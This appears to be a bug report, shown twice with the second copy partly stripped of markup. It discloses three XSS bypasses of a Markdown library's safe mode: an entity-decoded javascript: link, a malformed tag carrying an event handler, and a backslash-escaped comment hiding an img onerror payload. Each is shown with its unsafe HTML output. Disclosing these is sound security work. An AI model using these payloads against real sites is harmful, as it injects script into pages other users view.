Describe the bug
A few more XSS vulnerabilities in the safe mode, continuation of #705.
To Reproduce
- The browser decodes
: to : forming a javascript: protocol URL (the ; suffix for html encoding is optional).
[Click me](javascript:alert(origin))
<p><a href="javascript:alert(origin)">x</a></p>
- Creates a corrupted
<x| tag with arbitrary attributes:
<http:|><x| oncontentvisibilityautostatechange=alert(origin) style=display:block;content-visibility:auto>
<p><a href="http:|">http:|</a><x| oncontentvisibilityautostatechange=alert(origin) style=display:block;content-visibility:auto></p>
- Backslash with comment allows writing arbitrary HTML:
\<!--<img src onerror=alert(origin)//>-->
<p><!--<img src onerror=alert(origin)//>--></p>
Expected behavior
Safe HTML is output.
Debug info
Version of library being used: 5fa608264809a32061ed3cc641705f9d81077182 (latest master at time of writing)
Describe the bug
A few more XSS vulnerabilities in the safe mode, continuation of #705.
To Reproduce
:to:forming ajavascript:protocol URL (the;suffix for html encoding is optional).<x|tag with arbitrary attributes:Expected behavior
Safe HTML is output.
Debug info
Version of library being used:
5fa608264809a32061ed3cc641705f9d81077182(latestmasterat time of writing)